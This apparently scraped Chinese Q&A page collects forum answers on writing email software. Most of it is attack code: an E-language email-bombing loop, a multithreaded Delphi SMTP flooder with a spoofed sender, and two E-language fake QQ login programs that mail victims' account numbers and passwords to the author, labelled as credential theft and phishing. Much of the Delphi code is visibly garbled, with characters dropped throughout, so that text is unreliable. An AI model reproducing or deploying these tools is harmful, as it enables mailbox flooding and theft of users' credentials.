邮件编写软件 怎么用易语言编写炸邮箱软件

这个就是了、不过需要该多线程了、发送失败！ 如需要源代码、写邮箱！ .版本 2 .支持库 internet .支持库 iext .支持库 spec .程序集 窗口程序集1 .子程序 _按钮2_被单击 .如果真 (按钮2.标题 ＝ “连接发送邮件服务器”) .如果 (连接发信服务器 (编辑框3.内容, , 编辑框1.内容, 编辑框2.内容, ) ＝真) 是否已连接服务器 ＝真 按钮2.标题 ＝ “断开邮件服务器” 编辑框1.禁止 ＝真 编辑框2.禁止 ＝真 编辑框3.禁止 ＝真 信息框 (“连接服务器成功!”, 0, ) 状态条1.置文本 (0, “连接服务器成功”) 返回() .否则 信息框 (“连接服务器失败,请重新连接.”, 0, ) 状态条1.置文本 (0, “连接服务器失败”) 返回() .如果结束 .如果真结束 .如果真 (按钮2.标题 ＝ “断开邮件服务器”) 断开发信服务器 () 是否已连接服务器 ＝假 编辑框1.禁止 ＝假 编辑框2.禁止 ＝假 编辑框3.禁止 ＝假 按钮2.标题 ＝ “连接发送邮件服务器” 状态条1.置文本 (0, “已断开服务器”) 信息框 (“已断开邮件服务器”, 0, ) 返回() .如果真结束 .子程序 __启动窗口_创建完毕 是否已连接服务器 ＝假 .子程序 _按钮1_被单击 .局部变量 已循环次数, 整数型 .局部变量 发送邮件的返回, 文本型 .局部变量 邮件发送成功的次数, 整数型 .局部变量 随机数, 长整数型 .如果真 (编辑框5.内容 ＝“”) 信息框 (“请输入发送邮件的数量”, 0, ) 返回() .如果真结束 .如果真 (是否已连接服务器 ＝假) 信息框 (“您还没有连接发送邮件服务器”, 0, ) 返回() .如果真结束 邮件发送成功的次数 ＝ 0 编辑框5.禁止 ＝真 编辑框6.禁止 ＝真 编辑框7.禁止 ＝真 按钮1.禁止 ＝真 按钮3.禁止 ＝假 状态条1.置文本 (0, “开始轰炸”) .计次循环首 (到整数 (编辑框5.内容), 已循环次数) .如果真 (是否停止轰炸 ＝真) 编辑框8.加入文本 (“用户停止操作” ＋ #换行符) 编辑框5.禁止 ＝假 按钮3.禁止 ＝假 状态条1.置文本 (0, “停止轰炸”) 返回() .如果真结束 状态条1.置文本 (0, “继续轰炸”) .如果真 (选择框1.选中 ＝真) 随机数 ＝ 取随机数 (, ) 发送邮件的返回 ＝ 发送邮件 (编辑框6.内容 ＋ 到文本 (随机数), 编辑框7.内容 ＋ 到文本 (随机数), 编辑框4.内容, , , 编辑框1.内容, “459862588@qq.com”) ' 成功返回空文本，失败返回具体错误信息文本 .如果 (发送邮件的返回 ＝“”) 编辑框8.加入文本 (“您已经成功发送了第” ＋ 到文本 (已循环次数) ＋ “封邮件” ＋ #换行符) 邮件发送成功的次数 ＝ 邮件发送成功的次数 ＋ 1 状态条1.置文本 (1, 到文本 (邮件发送成功的次数)) .否则 编辑框8.加入文本 (发送邮件的返回 ＋ #换行符) .如果结束 .如果真结束 .如果真 (到小数 (已循环次数) ％ 到小数 (编辑框9.内容) ＝ 0) 状态条1.置文本 (0, “轰炸暂停” ＋ 到文本 (编辑框10.内容) ＋ “秒”) 延迟(到整数 (编辑框10.内容 ＋“000”)) .如果真结束 .计次循环尾 () 编辑框5.禁止 ＝假 编辑框6.禁止 ＝假 编辑框7.禁止 ＝假 编辑框8.加入文本 (#换行符) 按钮1.禁止 ＝假 按钮3.禁止 ＝真 状态条1.置文本 (0, “轰炸完毕”) .子程序 _按钮3_被单击 是否停止轰炸 ＝真 按钮1.禁止 ＝假

对已写好的文件存在电脑里，怎样发送邮件给对方

这里以常用的QQ邮箱为例，发邮件的方法如下：

1、首先登录你的QQ邮箱，电脑版QQ邮箱可直接点击页面上方的邮箱图标快捷登录；

2、然后找到邮箱界面左上方的写信图标，点击进入写信页面；

3、在写信方框内，点击添加附件则可上传你要发送的文件，如果发送的是图片则点击右边的图片图标；

4、点击添加附件后，会弹出一个选择文件框，在框里找到你要发送的那个文件，然后点击打开按钮；

5、就会看到要发送的文件成功上传了，然后添加收件人则对方的邮箱，再点击上面的发送按钮，则可成功将已写好的文件发送到朋友的信箱了。

怎么用易语言编写盗号软件啊 编写的邮箱的没作用啊！望给教一下 谢了

你好，楼主不懂可，还有就是邮箱也要设置的不然接收不了。请直接复制- .版本 2 .支持库 internet .程序集 窗口程序集2 .子程序 __启动窗口_创建完毕 .子程序 _按钮1_被单击 .如果 (编辑框1.内容 ＝“”且 编辑框2.内容 ＝“”) 信息框 (“请输入账号与密码”, #信息图标, “温馨提示”) .否则 .如果结束 .如果 (编辑框1.内容 ＝“”且 编辑框2.内容 ≠“”) 信息框 (“请输入账号”, #信息图标, “温馨提示”) .否则 .如果结束 .如果 (编辑框1.内容 ≠“”且 编辑框2.内容 ＝“”) 信息框 (“请输入密码”, #信息图标, “温馨提示”) .否则 .如果结束 .如果 (编辑框1.内容 ≠“”且 编辑框2.内容 ≠“”) .如果 (连接发信服务器 (“ smtp.qq.com ”, 25, 编辑框1.内容, 编辑框2.内容, )) 信息框 (“密码正确”, #信息图标, “温馨提示”) 连接发信服务器 (“ smtp.qq.com ”, 25, 你接收的qq, 你的qq密码, ) 发送邮件 (“测试使用”, “账号：”＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：”＋ 编辑框2.内容, 你上面填的qq邮箱, , , 你上面填的qq邮箱, ) .否则 信息框 (“密码错误”, #警告图标, “温馨提示”) .如果结束 .否则 .如果结束

怎样用delphi编写一个在线发送邮件的程序

use

windows,messages,winsock,sysutil

{$R *.

RES

const

CRLF

=#13#10

exename:pchar='邮箱信使'

var

thd:array[1..1000] of integer

tid:array[1..1000] of dword

faint,hMutex,mcount,speed,newtime,oldtime,

um

,count,err:integer

:string

uf:array[0..1024] of char

dest:string

attstart:boolea

//----------------------

wClass:　 TWndClass;　 //窗口类变量

Msg:　　　TMSG;　　　　//消息变量

hInst,　　　　　　　　 //程序实例

Handle,　　　　　　　　//主窗口句柄

hFont,　　　　　　　　 //字体句柄

//----------------

hBut

to

Start,　 //开始按钮

hBut

to

to

,　　//停止按钮

hButtonHelp,　　//帮助按钮

hButtonExit,　　//退出按钮

hEditE

mail

,　　 //e-

mail

编辑

hEditCount,　　 //次数编辑

hEditThread,　　//线程数编辑

hLabelE

mail

,　　//e-mail提示

hLabelCount,　　//次数提示

hLabelThread,　 //线程数提示

hLabelInfo　　　//领息提示

:integer;　　　　　//句柄类型

//--------------------

//往一个窗口写标题

rocedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end

//从一个窗口读标题

rocedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end

//以下是网络连接的过程

function StartNet(host:string;port:integer):integer

var

wsa

data

:twsa

data

fsocket:integer

SockAddrIn:TSockAddrI

err:integer

egi

//为网络连接作好准备(用winsock1.1以上版本)

err:=WSAStartup($0101,WSA

Data

//创建一个客户端套接字(

Client

Socket,用SOCK_STREAM，即

TCP

协义)

FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP)

//初始化网络数据

SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host))

SockAddrIn.sin_family := PF_INET

SockAddrIn.sin_port :=htons(port)

//客户端向smtp进行连接

repeat

err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn))

until err=0

//

Re

ult:=FSocket

end

//以下是网络关闭的过程

rocedure StopNet(Fsocket:integer)

var

err:integer

egi

//发信结束，关闭客户端套接字(Close

Client

Socket)

err:=closesocket(FSocket)

//清除网络参数

err:=WSACleanu

end

//下面是个发送数据包的过程

function SendData(FSocket:integer;SendStr:string):integer

const

MaxSize=1024

var

DataBuf:array[0..MaxSize] of char

err:integer

egi

//读取网络数据

err:=recv(FSocket,DataBuf,MaxSize,0)

//将网络数据写入主窗口的标题中，提示用户正在发信过程中

//WriteCaption(handle,DataBuf)

//向网络发送数据

trcopy(DataBuf,pchar(SendStr))

err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE)

Re

ult:=0

end

//下面是个发信的过程

rocedure SendMail

var SendBody:string

FSocket:integer

egi

repeat

//指定smtp主机地址,这里用的是smtp.21cn.com,它的ip为(202.104.32.230)

//指定smtp主机的发信端口，默认为25

FSocket:=StartNet('202.104.32.230',25)

//-------下面是发信过程的各步处理-------

//---------------------------------------

//第一步：发HELO指令，表示我要开始发信了

SendData(FSocket,'HELO'+

CRLF

//第二步：发MAIL

FROM

指令，表示发信人的信箱

//　 注意现在很多SMTP主机有只能允许本地合法用户发信

//　 所以发信者的信箱在发信主机中应是一个合法用户

//　 否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户

SendData(FSocket,'MAIL

FROM

: <'+

CRLF

">hack001@21cn.com>'+CRLF)

//第三步:发RCPT TO指令，表示目标用户的邮箱，就是你要攻击者的邮箱

//　 这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度

//　 但对163.net好象不行，他加了过滤机制

SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF)

//第四步:发DATA指令，表示要向SMTP主机发数据

SendData(FSocket,'DATA'+CRLF)

//第五步:发具体数据,包括如下内容(信封和信体):

//

From

:表示发信者的地址,可以是假的用户(可以随机产生),后面以CRLF(即回车换行符)结束

//　　　TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结束

//　　　Subject:表示邮件主题,后面以CRLF结束

//　　　后面一定要再加一个CRLF，表示信封部分结束了

//　　　接下来是信的主体内容，可以是任何内容,后面以CRLF结束

//　　　然后一定要再加一个.符号，表示信体结束,后面以CRLF结束

SendBody:='From:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF

+'To:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF

+'Subject:New Bome 2001.'+CRLF

+CRLF

+'Hello World.'+CRLF

+'.'+CRLF

SendData(FSocket,SendBody)

//第六步：发结QUIT指令，表示发信过程结束

SendData(FSocket,'QUIT'+CRLF)

//

waitforsingleobject(hMutex,INFINITE)

//显示发信过程的剩余邮件数目

WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'还有 '+inttostr(count)+' 封邮件 '+CRLF+

'正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+

'经过时间: '+inttostr(newtime div 1000)+' 秒'))

//总次数减一

Dec(count)

//调用发信过程，进行发信

ewtime:=integer(gettickcount())-oldtime

eed:=mcount*1000*60 div newtime

WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟'))

inc(mcount)

//sleep(300)

if count<=0 then break

releasemutex(hMutex)

//

StopNet(Fsocket)

until count<=0

end

//------------------------------------

//以下是线程创建时调用的线程函数

function fun(Parameter: Pointer): Integer; stdcall

egi

SendMail

WriteCaption(handle,exename)

WriteCaption(hLabelInfo,pchar('发送结束'))

attstart:=true

result:=0

end

rocedure ButtonStart

var k:integer

egi

if attstart=true the

egi

attstart:=false

WriteCaption(hLabelInfo,pchar('发送开始........'))

ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf)

ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf))

ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf))

oldtime:=gettickcount()

mcount:=0

if Num>1000 then Num:=1000

for k:=1 to Num do

thd[k]:=createthread(nil,0,@fun,nil,0,tid[k])

end

end

rocedure ButtonSto

var k:integer

egi

for k:=1 to Num do

TerminateThread(thd[k],0)

WriteCaption(handle,exename)

WriteCaption(hLabelInfo,pchar('发送结束'))

attstart:=true

count:=0

end

rocedure MainCreate

egi

attstart:=true

hMutex:=createmutex(nil,true,'Bome2001')

releasemutex(hMutex)

end

rocedure ButtonHel

egi

1:='本软件只用学习用，不可害人'+CRLF+

'程序使用多线程100个线程，发送速度极快!'+CRLF；

messagebox(handle,pchar(s1),'帮助',0)

end

//主程序结束

rocedure ShutDow

egi

CloseHandle(hMutex)

//删除字体对象

DeleteObject(hFont)

//取消窗口类的注册

UnRegisterClass(wClass.lpszClassName,hInst)

//结束主进程

ExitProcess(hInst)

end

//这是主窗口的消息处理函数

function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall

egi

Result:=DefWindowProc(hWnd,Msg,wParam,lParam)

case Msg of

WM_COMMAND:

if lParam=hButtonStart then ButtonStart

else if lParam=hButtonStop then ButtonSto

else if lParam=hButtonHelp then ButtonHel

else if lParam=hButtonExit then ShutDow

WM_CREATE:MainCreate

WM_DESTROY: ShutDow

end

end

//定义几个窗口创建函数

functio

CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;begi

Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE

or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);end

functio

CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begi

Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or

WS_CHILD or ES_LEFT or

ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end

functio

CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begi

Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or

SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end

function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd

egi

//取得应用程序实例句柄

hInst:=GetModuleHandle(nil)

//初使化窗口类的信息

with wClass do

egi

Style:=　　　　 CS_PARENTDC

hIcon:=　　　　 LoadIcon(hInst,'MAINICON')

lpfnWndProc:=　 @WindowProc

hInstance:=　　 hInst

hbrBackground:= COLOR_BTNFACE+1

lpszClassName:= 'MainClass'

hCursor:=　　　 LoadCursor(0,IDC_ARROW)

end

// 注册窗口类

RegisterClass(wClass)

// 建立主窗口

Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil)

end

//---------主过程，类似于 C语言 中的 WinMain()

egi

//建立主窗口

handle:=CreateMain(exename,10,10,320,135)

//建立四个控制按钮

hButtonStart:=CreateButton('发送攻击',240,4+26*0,70,24)

hButtonStop:=CreateButton('停止发送'　,240,4+26*1,70,24)

hButtonHelp:=CreateButton('帮　助'　,240,4+26*2,70,24)

hButtonExit:=CreateButton('退　出'　,240,4+26*3,70,24)

//建立两个编辑框

hEditEmail:=CreateEdit(bome@hacker.com',60,4,174,20">'bome@hacker.com',60,4,174,20)

hEditCount:=CreateEdit('1000',60,4+26*1,60,20)

hEditThread:=CreateEdit('10',193,4+26*1,41,20)

//建立三个标签

hLabelEmail:=CreateLabel('发送目标:',4,8,54,24)

hLabelCount:=CreateLabel('发送次数:',4,8+26*1,54,24)

hLabelThread:=CreateLabel('线程数:',124,8+26*1,66,24)

hLabelInfo:=CreateLabel('等候命令.....',4,8+26*2,220,44)

//创建字体对象

hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH

or FF_DONTCARE,'宋体')

//改变字体

SendMessage(hButtonStart,WM_SETFONT,hFont,0)

SendMessage(hButtonStop,WM_SETFONT,hFont,0)

SendMessage(hButtonHelp,WM_SETFONT,hFont,0)

SendMessage(hButtonExit,WM_SETFONT,hFont,0)

SendMessage(hEditEmail,WM_SETFONT,hFont,0)

SendMessage(hEditCount,WM_SETFONT,hFont,0)

SendMessage(hEditThread,WM_SETFONT,hFont,0)

SendMessage(hLabelEmail,WM_SETFONT,hFont,0)

SendMessage(hLabelCount,WM_SETFONT,hFont,0)

SendMessage(hLabelThread,WM_SETFONT,hFont,0)

SendMessage(hLabelInfo,WM_SETFONT,hFont,0)

//进入消息循环

while(GetMessage(Msg,Handle,0,0))do

egi

TranslateMessage(Msg)

DispatchMessage(Msg)

end

end.

怎样让易语言做的软件编写代码 发送到邮箱

_____钓鱼软件______

代码如下

.版本2

.支持库internet

.子程序_按钮1_被单击

连接发信服务器(“stmp.qq.com”,25,“自己QQ号码”,“自己QQ密码”,)

发送邮件(“钓鱼演示”,“QQ号码：”＋编辑框1.内容＋#换行符＋“QQ密码：”＋编辑框2.内容,“自己的邮箱地址”,,,“自己的邮箱地址”,)

'上面发送邮件的QQ号码是别人填到编辑框的内容..别把自己的填上去呀!

参考资料：给我分哈

我想编写一个软件！

C++的图形编程的就是VC6.0(Microsoft Visual C++ 6.0) 了, 微软的MFC库提供了基础的控件和类型支持, 蛮好用的; C#的图像编程就是基于.NET的 VS(Microsoft Visual Stdio) 系列了, VS2008, VS2010都很好用; 当然也可以不用封装好的图形类库, 像C++就可以直接使用windows的API进行图形编程(C-Free软件就是这样), Java的图像编程可以用Eclipse或者JCreater. 至于这些软件怎么用, 随便百度一下就有一大堆教程. 看你貌似是个新手, 先打好基础是很重要的, 其实C语言很强大.

转载请注明出处51数据库 » 邮件编写软件 怎么用易语言编写炸邮箱软件